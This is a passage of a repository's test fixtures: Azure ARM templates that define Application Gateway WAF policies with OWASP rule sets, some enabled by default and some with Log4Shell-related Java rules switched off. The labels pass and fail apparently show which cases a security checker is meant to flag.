\"[variables('applicationGateways_myAppGateway_name')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"WAF_v2\",\n          \"tier\": \"WAF_v2\",\n          \"capacity\": 2\n        },\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGwPublicFrontendIp\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"port_80\",\n            \"properties\": {\n              \"port\": 80\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"myBackendPool\",\n            \"properties\": {}\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"myHTTPSetting\",\n            \"properties\": {\n              \"port\": 80,\n              \"protocol\": \"Http\",\n              \"cookieBasedAffinity\": \"Disabled\",\n              \"pickHostNameFromBackendAddress\": false,\n              \"requestTimeout\": 20\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"myListener\",\n            \"properties\": {\n              \"firewallPolicy\": {\n                \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n              },\n              \"frontendIPConfiguration\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]\"\n              },\n              \"frontendPort\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]\"\n              },\n              \"protocol\": \"Http\",\n              \"requireServerNameIndication\": false\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"name\": \"myRoutingRule\",\n            \"properties\": {\n              \"ruleType\": \"Basic\",\n              \"priority\": 10,\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]\"\n              }\n            }\n          }\n        ],\n        \"enableHttp2\": false,\n        \"firewallPolicy\": {\n          \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"publicIPAddress\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"owasp_3_1_disabled_different_pass\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"customRules\": [\n          {\n            \"name\": \"CustRule01\",\n            \"priority\": 100,\n            \"ruleType\": \"MatchRule\",\n            \"action\": \"Block\",\n            \"matchConditions\": [\n              {\n                \"matchVariables\": [\n                  {\n                    \"variableName\": \"RemoteAddr\"\n                  }\n                ],\n                \"operator\": \"IPMatch\",\n                \"negationConditon\": true,\n                \"matchValues\": [\n                  \"10.10.10.0/24\"\n                ]\n              }\n            ]\n          }\n        ],\n        \"policySettings\": {\n          \"requestBodyCheck\": true,\n          \"maxRequestBodySizeInKb\": 128,\n          \"fileUploadLimitInMb\": 100,\n          \"state\": \"Enabled\",\n          \"mode\": \"Prevention\"\n        },\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleGroupOverrides\": [\n            {\n              \"ruleGroupName\": \"REQUEST-944-APPLICATION-ATTACK-JAVA\",\n              \"rules\": [\n                {\n                  \"ruleId\": \"944200\"\n                }\n              ]\n            }\n          ],\n              \"ruleSetType\": \"OWASP\",\n              \"ruleSetVersion\": \"3.1\"\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"myNic\",\n        \"count\": \"[length(range(0, 2))]\"\n      },\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]\"\n              },\n              \"primary\": true,\n              \"privateIPAddressVersion\": \"IPv4\",\n              \"applicationGatewayBackendAddressPools\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"enableAcceleratedNetworking\": false,\n        \"enableIPForwarding\": false,\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"nsg\",\n        \"publicIPAddress\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_1_disabled_fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"7253194970749033988\"\n    }\n  },\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username for the backend servers\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for the admin account on the backend servers\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2ms\",\n      \"metadata\": {\n        \"description\": \"Size of the virtual machine.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"virtualMachines_myVM_name\": \"myVM\",\n    \"virtualNetworks_myVNet_name\": \"myVNet\",\n    \"myNic_name\": \"net-int\",\n    \"ipconfig_name\": \"ipconfig\",\n    \"publicIPAddress_name\": \"public_ip\",\n    \"nsg_name\": \"vm-nsg\",\n    \"applicationGateways_myAppGateway_name\": \"myAppGateway\",\n    \"vnet_prefix\": \"10.0.0.0/16\",\n    \"ag_subnet_prefix\": \"10.0.0.0/24\",\n    \"backend_subnet_prefix\": \"10.0.1.0/24\",\n    \"AppGW_AppFW_Pol_name\": \"WafPol01\"\n  },\n  \"resources\": [\n\n\n    {\n      \"type\": \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"owasp_3_1_disabled_fail\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"customRules\": [\n          {\n            \"name\": \"CustRule01\",\n            \"priority\": 100,\n            \"ruleType\": \"MatchRule\",\n            \"action\": \"Block\",\n            \"matchConditions\": [\n              {\n                \"matchVariables\": [\n                  {\n                    \"variableName\": \"RemoteAddr\"\n                  }\n                ],\n                \"operator\": \"IPMatch\",\n                \"negationConditon\": true,\n                \"matchValues\": [\n                  \"10.10.10.0/24\"\n                ]\n              }\n            ]\n          }\n        ],\n        \"policySettings\": {\n          \"requestBodyCheck\": true,\n          \"maxRequestBodySizeInKb\": 128,\n          \"fileUploadLimitInMb\": 100,\n          \"state\": \"Enabled\",\n          \"mode\": \"Prevention\"\n        },\n\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleGroupOverrides\": [\n            {\n              \"ruleGroupName\": \"REQUEST-944-APPLICATION-ATTACK-JAVA\",\n              \"rules\": [\n                {\n                  \"ruleId\": \"944240\"\n                }\n              ]\n            }\n          ],\n              \"ruleSetType\": \"OWASP\",\n              \"ruleSetVersion\": \"3.1\"\n            }\n          ]\n        }\n\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"myNic\",\n        \"count\": \"[length(range(0, 2))]\"\n      },\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]\"\n              },\n              \"primary\": true,\n              \"privateIPAddressVersion\": \"IPv4\",\n              \"applicationGatewayBackendAddressPools\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"enableAcceleratedNetworking\": false,\n        \"enableIPForwarding\": false,\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"nsg\",\n        \"publicIPAddress\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_2_default_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"7253194970749033988\"\n    }\n  },\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username for the backend servers\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for the admin account on the backend servers\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2ms\",\n      \"metadata\": {\n        \"description\": \"Size of the virtual machine.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"virtualMachines_myVM_name\": \"myVM\",\n    \"virtualNetworks_myVNet_name\": \"myVNet\",\n    \"myNic_name\": \"net-int\",\n    \"ipconfig_name\": \"ipconfig\",\n    \"publicIPAddress_name\": \"public_ip\",\n    \"nsg_name\": \"vm-nsg\",\n    \"applicationGateways_myAppGateway_name\": \"myAppGateway\",\n    \"vnet_prefix\": \"10.0.0.0/16\",\n    \"ag_subnet_prefix\": \"10.0.0.0/24\",\n    \"backend_subnet_prefix\": \"10.0.1.0/24\",\n    \"AppGW_AppFW_Pol_name\": \"WafPol01\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[variables('applicationGateways_myAppGateway_name')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"WAF_v2\",\n          \"tier\": \"WAF_v2\",\n          \"capacity\": 2\n        },\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGwPublicFrontendIp\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"port_80\",\n            \"properties\": {\n              \"port\": 80\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"myBackendPool\",\n            \"properties\": {}\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"myHTTPSetting\",\n            \"properties\": {\n              \"port\": 80,\n              \"protocol\": \"Http\",\n              \"cookieBasedAffinity\": \"Disabled\",\n              \"pickHostNameFromBackendAddress\": false,\n              \"requestTimeout\": 20\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"myListener\",\n            \"properties\": {\n              \"firewallPolicy\": {\n                \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n              },\n              \"frontendIPConfiguration\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]\"\n              },\n              \"frontendPort\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]\"\n              },\n              \"protocol\": \"Http\",\n              \"requireServerNameIndication\": false\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"name\": \"myRoutingRule\",\n            \"properties\": {\n              \"ruleType\": \"Basic\",\n              \"priority\": 10,\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]\"\n              }\n            }\n          }\n        ],\n        \"enableHttp2\": false,\n        \"firewallPolicy\": {\n          \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"publicIPAddress\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"owasp_3_2_default_pass\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"customRules\": [\n          {\n            \"name\": \"CustRule01\",\n            \"priority\": 100,\n            \"ruleType\": \"MatchRule\",\n            \"action\": \"Block\",\n            \"matchConditions\": [\n              {\n                \"matchVariables\": [\n                  {\n                    \"variableName\": \"RemoteAddr\"\n                  }\n                ],\n                \"operator\": \"IPMatch\",\n                \"negationConditon\": true,\n                \"matchValues\": [\n                  \"10.10.10.0/24\"\n                ]\n              }\n            ]\n          }\n        ],\n        \"policySettings\": {\n          \"requestBodyCheck\": true,\n          \"maxRequestBodySizeInKb\": 128,\n          \"fileUploadLimitInMb\": 100,\n          \"state\": \"Enabled\",\n          \"mode\": \"Prevention\"\n        },\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"OWASP\",\n              \"ruleSetVersion\": \"3.2\"\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"myNic\",\n        \"count\": \"[length(range(0, 2))]\"\n      },\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]\"\n              },\n              \"primary\": true,\n              \"privateIPAddressVersion\": \"IPv4\",\n              \"applicationGatewayBackendAddressPools\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"enableAcceleratedNetworking\": false,\n        \"enableIPForwarding\": false,\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"nsg\",\n        \"publicIPAddress\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/version_3_1_default_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"7253194970749033988\"\n    }\n  },\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username for the backend servers\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for the admin account on the backend servers\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2ms\",\n      \"metadata\": {\n        \"description\": \"Size of the virtual machine.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"virtualMachines_myVM_name\": \"myVM\",\n    \"virtualNetworks_myVNet_name\": \"myVNet\",\n    \"myNic_name\": \"net-int\",\n    \"ipconfig_name\": \"ipconfig\",\n    \"publicIPAddress_name\": \"public_ip\",\n    \"nsg_name\": \"vm-nsg\",\n    \"applicationGateways_myAppGateway_name\": \"myAppGateway\",\n    \"vnet_prefix\": \"10.0.0.0/16\",\n    \"ag_subnet_prefix\": \"10.0.0.0/24\",\n    \"backend_subnet_prefix\": \"10.0.1.0/24\",\n    \"AppGW_AppFW_Pol_name\": \"WafPol01\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[variables('applicationGateways_myAppGateway_name')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"WAF_v2\",\n          \"tier\": \"WAF_v2\",\n          \"capacity\": 2\n        },\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGwPublicFrontendIp\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"port_80\",\n            \"properties\": {\n              \"port\": 80\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"myBackendPool\",\n            \"properties\": {}\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"myHTTPSetting\",\n            \"properties\": {\n              \"port\": 80,\n              \"protocol\": \"Http\",\n              \"cookieBasedAffinity\": \"Disabled\",\n              \"pickHostNameFromBackendAddress\": false,\n              \"requestTimeout\": 20\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"myListener\",\n            \"properties\": {\n              \"firewallPolicy\": {\n                \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n              },\n              \"frontendIPConfiguration\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]\"\n              },\n              \"frontendPort\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]\"\n              },\n              \"protocol\": \"Http\",\n              \"requireServerNameIndication\": false\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"name\": \"myRoutingRule\",\n            \"properties\": {\n              \"ruleType\": \"Basic\",\n              \"priority\": 10,\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]\"\n              }\n            }\n          }\n        ],\n        \"enableHttp2\": false,\n        \"firewallPolicy\": {\n          \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"publicIPAddress\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"version_3_1_default_pass\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"customRules\": [\n          {\n            \"name\": \"CustRule01\",\n            \"priority\": 100,\n            \"ruleType\": \"MatchRule\",\n            \"action\": \"Block\",\n            \"matchConditions\": [\n              {\n                \"matchVariables\": [\n                  {\n                    \"variableName\": \"RemoteAddr\"\n                  }\n                ],\n                \"operator\": \"IPMatch\",\n                \"negationConditon\": true,\n                \"matchValues\": [\n                  \"10.10.10.0/24\"\n                ]\n              }\n            ]\n          }\n        ],\n        \"policySettings\": {\n          \"requestBodyCheck\": true,\n          \"maxRequestBodySizeInKb\": 128,\n          \"fileUploadLimitInMb\": 100,\n          \"state\": \"Enabled\",\n          \"mode\": \"Prevention\"\n        },\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetVersion\": \"3.1\"\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"myNic\",\n        \"count\": \"[length(range(0, 2))]\"\n      },\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]\"\n              },\n              \"primary\": true,\n              \"privateIPAddressVersion\": \"IPv4\",\n              \"applicationGatewayBackendAddressPools\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"enableAcceleratedNetworking\": false,\n        \"enableIPForwarding\": false,\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"nsg\",\n        \"publicIPAddress\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceAuthentication/appServiceAuthentication-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": 